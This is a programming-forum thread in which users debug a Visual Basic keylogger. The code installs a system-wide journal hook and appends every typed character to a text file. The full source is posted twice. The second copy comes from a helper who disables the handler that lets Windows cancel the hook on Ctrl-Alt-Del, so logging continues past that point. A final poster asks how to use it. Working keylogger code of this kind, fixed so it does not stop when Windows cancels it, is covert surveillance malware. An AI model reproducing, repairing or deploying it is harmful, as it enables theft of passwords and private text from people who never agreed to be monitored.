keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

[ejy]

This keylogger works fine until ctrl-alt-del is pressed. Then it stops.

If someone could pinpoint the lines that are causing the problem I would be most appreciative.



In a command button:

Keylogger

In a module:

Private Type EVENTMSG
        message As Long
        paramL As Long
        paramH As Long
        time As Long
        hwnd As Long
End Type
 
Private Type POINTAPI
        x As Long
        y As Long
End Type
 
Private Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type
 
Private Type CWPSTRUCT
        lParam As Long
        wParam As Long
        message As Long
        hwnd As Long
End Type
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
 
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3
Private Const WH_CALLWNDPROC = 4
 
Private Const WM_CANCELJOURNAL = &H4B
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
 
Private Const VK_CANCEL = &H3
 
Private lHookID As Long
Private lAppHookID As Long
 
Private sFile As String
Public existing, password
 
 
 
Sub Keylogger()
 
On Error Resume Next
 
    'Only start one instance of this app
    If App.PrevInstance Then Exit Sub
    
    'Allow the user to pass a File name/path to the App which will be used to store the keys
    sFile = Command
    If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    
    
    If Len(Dir(sFile)) Then Kill$ sFile
    
    'Set an application hook to monitor for messages sent to this app
    lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    'Set a system hook to monitor certain messages sent to other applications in the o/s.
    lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
        DoEvents
    Wend
    'Remove the System hook if necessary
    If lHookID Then Call UnhookWindowsHookEx(lHookID)
    'Remove the application hook
    Call UnhookWindowsHookEx(lAppHookID)
  
   End Sub
 
 
 
Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tMSG As MSG
    
    If Code < 0 Then
        'Pass the message along...
        GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the MSG structure
        CopyMemory tMSG, ByVal lParam, Len(tMSG)
        Select Case tMSG.message
        
        Case WM_CANCELJOURNAL
            'An external process has requested us to stop this operation
            Call UnhookWindowsHookEx(lHookID)
            lHookID = 0
    
        Case WM_KEYDOWN, WM_KEYUP
            If tMSG.wParam = VK_CANCEL Then
                'The user has canceled the operation (CTRL + BREAK)
                Call UnhookWindowsHookEx(lHookID)
                lHookID = 0
            End If
 
        End Select
    End If
End Function
 
 
 
Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tEVENTMSG As EVENTMSG
    Dim bKeys(255) As Byte
    Dim lAscII As Long
    Dim iFile As Integer
    
    If Code < 0 Then
        'Pass this message along...
        JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the Event Message Structure
        CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
        
        Select Case tEVENTMSG.message
        
        Case WM_KEYDOWN
            'Track Keypresses....
            'Get the current state of the Keyboard (used to determine special keys)
            Call GetKeyboardState(bKeys(0))
            'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
            Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
            'If it's avalid ASCII value, Log it.
            If lAscII Then
                'Debug.Print Chr(lAscII);
                iFile = FreeFile
                Open sFile For Append As iFile
                
                'if enter is pressed then a new line is saved
                If lAscII = 13 Then
                Print #iFile, Chr(lAscII)
                Else
                'if enter is not pressed then there is no new line
                Print #iFile, Chr(lAscII);
                End If
                Close iFile
                
            End If
                End Select
    
    
    
    End If
    
 
End Function

[SeaHag]

Whats keylogging?

Seahag

[ejy]

This is torture

[SeaHag]

tell me.. is this counter productive.??
I cant get it to work.

sFile = Command
    Debug.Print sFile
    If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    
    
    If Len(Dir(sFile)) Then Kill$ sFile

[ejy]

Correction....create a folder before running the program, then change that line to read "C:\whateverfolder\latest.txt"

[James Stanich]

Running tests now...

[SeaHag]

agreed...
made the file first.. it erases it..
and if i comment it out. nothing gets logged to it..
it doesnt work for me.

With your functions...... they have arguments. But when you call them you supply no arguments. maybe it has something to do
with addressof thinggy.. ?? hope i learn something>>?

Seahag..

[James Stanich]

I can't get it to even create the text file...

[Microbasic]

OK, here's the problem with your program:

Case WM_CANCELJOURNAL
            'An external process has requested us to stop this operation
            Call UnhookWindowsHookEx(lHookID)
            lHookID = 0

When Ctrl-Alt-Delete is pressed, that "external process" requested that the application unhook the keyboard, therefore ending your keyboard hook.

[James Stanich]

Originally posted by SeaHag
agreed...
made the file first.. it erases it..
and if i comment it out. nothing gets logged to it..
it doesnt work for me.

With your functions...... they have arguments. But when you call them you supply no arguments. maybe it has something to do
with addressof thinggy.. ?? hope i learn something>>?

Seahag..

I trieed this too. Same thing. It does not hang or anything. Just not recording, so to speak...

[ejy]

Sorry it is not working for you guys....but can you just eyeball the code and try to spot a logical reason for the problem?

Microbasic...I thought that portion of the code was the culprit, too, but when I deleted it, I still encountered the same problem.


I think that when ctrl-alt-del is pressed, the "DoEvents" is halted. Could this be?

While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
        DoEvents
    Wend
    'Remove the System hook if necessary
    If lHookID Then Call UnhookWindowsHookEx(lHookID)
    'Remove the application hook
    Call UnhookWindowsHookEx(lAppHookID)

[SeaHag]

i HAVE WINDOWS 2000 FYI

Why do you not supply and arguments for your functions:
GetMessageProc
JournalRecordProc
ie.

'Set an application hook to monitor for messages sent to this app
    lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    'Set a system hook to monitor certain messages sent to other applications in the o/s.
    lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)

any explanation?

[Microbasic]

When I removed that code the hook continued on just fine...
Ctrl+Alt+Delete shouldn't halt DoEvents...
<?>

[ejy]

Whoa, Microbasic.

The code is working for you just fine? It is logging text in a folder?

Then, after you hit ctrl-alt-del, type some more, and peek inside your folder, all of your additional typing (post ctrl-alt-del) is there?

[Microbasic]

Actually, this should work:

Private Type EVENTMSG
        message As Long
        paramL As Long
        paramH As Long
        time As Long
        hwnd As Long
End Type
 
Private Type POINTAPI
        x As Long
        y As Long
End Type
 
Private Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type
 
Private Type CWPSTRUCT
        lParam As Long
        wParam As Long
        message As Long
        hwnd As Long
End Type
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
 
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3
Private Const WH_CALLWNDPROC = 4
 
Private Const WM_CANCELJOURNAL = &H4B
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
 
Private Const VK_CANCEL = &H3
 
Private lHookID As Long
Private lAppHookID As Long
 
Private sFile As String
Public existing, password
 
Sub Keylogger()
 
On Error Resume Next
 
    'Only start one instance of this app
    If App.PrevInstance Then Exit Sub
    
    'Allow the user to pass a File name/path to the App which will be used to store the keys
    sFile = Command
    If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    
    
    If Len(Dir(sFile)) Then Kill$ sFile
    
    'Set an application hook to monitor for messages sent to this app
    lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    'Set a system hook to monitor certain messages sent to other applications in the o/s.
    lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
        If GetAsyncKeyState(Asc("A")) <> 0 Then
            UnhookWindowsHookEx lHookID
            lHookID = 0
        End If
        DoEvents
    Wend
    MsgBox "Stopped"
    'Remove the System hook if necessary
    If lHookID Then Call UnhookWindowsHookEx(lHookID)
    'Remove the application hook
    Call UnhookWindowsHookEx(lAppHookID)
  
   End Sub
 
Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tMSG As MSG
    
    If Code < 0 Then
        'Pass the message along...
        GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the MSG structure
        CopyMemory tMSG, ByVal lParam, Len(tMSG)
        Select Case tMSG.message
        
        'Case WM_CANCELJOURNAL
            'An external process has requested us to stop this operation
            'Call UnhookWindowsHookEx(lHookID)
            'lHookID = 0
            'BE SURE TO REMOVE ALL THREE LINES!!!
    
        Case WM_KEYDOWN, WM_KEYUP
            If tMSG.wParam = VK_CANCEL Then
                'The user has canceled the operation (CTRL + BREAK)
                Call UnhookWindowsHookEx(lHookID)
                lHookID = 0
            End If
 
        End Select
    End If
End Function
 
Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tEVENTMSG As EVENTMSG
    Dim bKeys(255) As Byte
    Dim lAscII As Long
    Dim iFile As Integer
    
    If Code < 0 Then
        'Pass this message along...
        JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the Event Message Structure
        CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
        
        Select Case tEVENTMSG.message
        
        Case WM_KEYDOWN
            'Track Keypresses....
            'Get the current state of the Keyboard (used to determine special keys)
            Call GetKeyboardState(bKeys(0))
            'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
            Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
            'If it's avalid ASCII value, Log it.
            If lAscII Then
                'Debug.Print Chr(lAscII);
                iFile = FreeFile
                Open sFile For Append As iFile
                
                'if enter is pressed then a new line is saved
                If lAscII = 13 Then
                Print #iFile, Chr(lAscII)
                Else
                'if enter is not pressed then there is no new line
                Print #iFile, Chr(lAscII);
                End If
                Close iFile
                
            End If
        End Select
    End If
End Function

[Microbasic]

Well, I did coment out those three "culprit lines."

Also, my additions were just debug code (since I'm running it in VBIDE, I can't use Ctrl-Alt-Delete, so I used the A key instead - you should remove that and the MsgBox "Stopped").

[DK_Knight]

I dont how to use this code help me please